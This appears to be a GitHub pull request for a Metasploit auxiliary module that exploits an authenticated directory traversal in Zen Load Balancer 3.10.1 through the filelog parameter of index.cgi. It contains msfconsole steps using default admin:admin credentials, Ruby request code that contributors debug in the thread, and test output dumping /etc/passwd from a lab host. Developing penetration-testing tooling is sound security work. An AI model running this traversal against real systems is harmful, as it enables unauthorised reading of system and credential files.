Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Zen Load Balancer 3.10.1 - 'index.cgi' Directory Traversal #13235

Merged
merged 5 commits into from
Apr 16, 2020

Conversation

RootUp
Copy link
Contributor

@RootUp RootUp commented Apr 12, 2020

Summary

This module exploits a authenticated directory traversal vulnerability in zen load 
balancer v3.10.1. The flaw exists in 'index.cgi' not properly handling 'filelog=' 
parameter which allows a malicious actor to load arbitrary file path.

Verification

# msfconsole
msf5> use auxiliary/scanner/http/zenload_balancer_traversal 
msf5> set RHOSTS 192.168.1.101
msf5> set RPORT 444
msf5> set FILEPATH etc/passwd
msf5> set SSL true
msf5> set HttpPassword admin
msf5> set HttpUsername admin
msf5> run

As per the documentation to access the administration panel of zen load balancer the default username and password is admin:admin

Reference: https://www.zevenet.com/knowledge-base/community-edition/community-edition-v3-05-administration-guide/community-edition-v3-05-access-to-zen-load-balacer-web-administration-panel/

@space-r7 space-r7 added the docs label Apr 13, 2020
@RootUp
Copy link
Contributor Author

RootUp commented Apr 14, 2020

Thank you @wvu-r7 & @space-r7 for reviewing it. I got stuck here could either of you please help for what went wrong.

  def run_host(ip)
    filename = datastore['FILEPATH']
    traversal = "../" * datastore['DEPTH'] << filename

    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path, datastore['REPO'], '/index.cgi?id=2-3&filelog='),
      'vars_get' => {'path' => traversal},
      'authorization' => basic_auth(datastore['HttpUsername'],datastore['HttpPassword'])
      }, 25)

    unless res && res.code == 200
      print_error('Nothing was downloaded')
      return
    end

Or would it be /index.cgi?id=2-3&filelog=#{traversal}&nlines=100&action=See+logs ?

@h00die
Copy link
Contributor

h00die commented Apr 14, 2020

Your problem is you have a URI that includes vars_get parameters.

'uri' => normalize_uri(target_uri.path, datastore['REPO'], 'index.cgi')

then

'vars_get' =>
  {
    'path' => traversal,
    'id'      => '2-3',
    'filelog' => ''
  },

assuming there is no other magic happening that would make this not work...

@RootUp
Copy link
Contributor Author

RootUp commented Apr 14, 2020

Thank you @h00die, I tried the below code but didn't work filelog= is the parameter where directory traversal happens.

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, datastore['REPO'], 'index.cgi'),
      'vars_get'=> {
      'path'    => traversal,
      'id'      => '2-3',
      'filelog' => '',
      'nlines'  => '100',
      'action'  => 'See+logs'
                   },
      'authorization' => basic_auth(datastore['HttpUsername'],datastore['HttpPassword'])
      }, 25)

@h00die
Copy link
Contributor

h00die commented Apr 14, 2020

ah, that was slightly confusing since you had 'vars_get' => {'path' => traversal},
you can do set httptrace true to see the exact request going out on the wire, and response. it may help for debugging

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, datastore['REPO'], 'index.cgi'),
      'vars_get'=> {
      'id'      => '2-3',
      'filelog' => "#{traversal}#{datastore['FILEPATH']}",
      'nlines'  => '100',
      'action'  => 'See+logs'
                   },
      'authorization' => basic_auth(datastore['HttpUsername'],datastore['HttpPassword'])
      }, 25)

@RootUp RootUp requested review from space-r7 and wvu April 15, 2020 08:57
@space-r7
Copy link
Contributor

Looks good to me! Thanks, @RootUp!

@space-r7 space-r7 self-assigned this Apr 15, 2020
@space-r7
Copy link
Contributor

Tested:

msf5 > use auxiliary/scanner/http/zenload_balancer_traversal 
msf5 auxiliary(scanner/http/zenload_balancer_traversal) > set rhosts 192.168.37.147
rhosts => 192.168.37.147
msf5 auxiliary(scanner/http/zenload_balancer_traversal) > options

Module options (auxiliary/scanner/http/zenload_balancer_traversal):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   DEPTH         16               yes       The max traversal depth
   FILEPATH      /etc/passwd      no        The name of the file to download
   HttpPassword  admin            no        The password to use for the HTTP server
   HttpUsername  admin            yes       The username to use for the HTTP server
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS        192.168.37.147   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT         444              yes       The target port (TCP)
   SSL           true             yes       Use SSL
   TARGETURI     /                yes       The base URI path of the ZenConsole install
   THREADS       1                yes       The number of concurrent threads (max one per host)
   VHOST                          no        HTTP server virtual host

msf5 auxiliary(scanner/http/zenload_balancer_traversal) > run

[+] 192.168.37.147:444 - Downloaded 7414 bytes
[+] File saved in: /Users/space/.msf4/loot/20200416104408_default_192.168.37.147_zenload.http_996725.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/http/zenload_balancer_traversal) > cat /Users/space/.msf4/loot/20200416104408_default_192.168.37.147_zenload.http_996725.txt
[*] exec: cat /Users/space/.msf4/loot/20200416104408_default_192.168.37.147_zenload.http_996725.txt


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
< ...removed for brevity... >
</table><br><br>Tail the last <input type="text" value="100" name="nlines" size="5"> lines<input type="submit" value="See logs" name="action" class="button small"></form><br><div id="page-header"></div><b>file ../../../../../../../../../../../../../../../..//etc/passwd tail last 100 lines</b><br>root:x:0:0:root:/root:/bin/bash
<br>daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
<br>bin:x:2:2:bin:/bin:/usr/sbin/nologin
<br>sys:x:3:3:sys:/dev:/usr/sbin/nologin
<br>sync:x:4:65534:sync:/bin:/bin/sync
<br>games:x:5:60:games:/usr/games:/usr/sbin/nologin
<br>man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
<br>lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
<br>mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
<br>news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
<br>uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
<br>proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
<br>www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
<br>backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
<br>list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
<br>irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
<br>gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
<br>nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
<br>systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false
<br>systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false
<br>systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false
<br>systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false
<br>messagebus:x:104:109::/var/run/dbus:/bin/false
<br>Debian-exim:x:105:110::/var/spool/exim4:/bin/false
<br>gdnsd:x:106:112::/var/run/gdnsd:/bin/false
<br>sshd:x:107:65534::/var/run/sshd:/usr/sbin/nologin
<br>snmp:x:108:114::/var/lib/snmp:/usr/sbin/nologin
<br><form method="get" action="index.cgi"><input type="hidden" name="id" value="2-3"><input type="submit" value="Cancel" name="action" class="button small"></form><div id="page-header"></div>		</div><br>	</div></div><br class="cl">
        <br><br><br>
        </div>
    <!--Content END-->
  </div>
</div>

<!-- Start Footer -->
<div class="footer">Zen Load Balancer is created under GNU/LGPL License Copyright (C) 2014 SOFINTEL IT ENGINEERING SL </div>
<!-- End Footer -->
<!-- Close div class="container"
</div> -->
</body>
</html>

space-r7 added a commit that referenced this pull request Apr 16, 2020
@space-r7 space-r7 merged commit 47bd353 into rapid7:master Apr 16, 2020
@space-r7
Copy link
Contributor

space-r7 commented Apr 16, 2020

Release Notes

A new auxiliary module, modules/auxiliary/scanner/http/zenload_balancer_traversal
was added that exploits a directory traversal vulnerability in Zen Load Balancer v3.10.1. Local files can be downloaded by requesting files through the filelog parameter in a GET request to index.cgi.

@tperry-r7 tperry-r7 added the rn-modules release notes for new or majorly enhanced modules label Apr 29, 2020
This pull request was closed.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs feature module rn-modules release notes for new or majorly enhanced modules
Projects
None yet
Development

Successfully merging this pull request may close these issues.

5 participants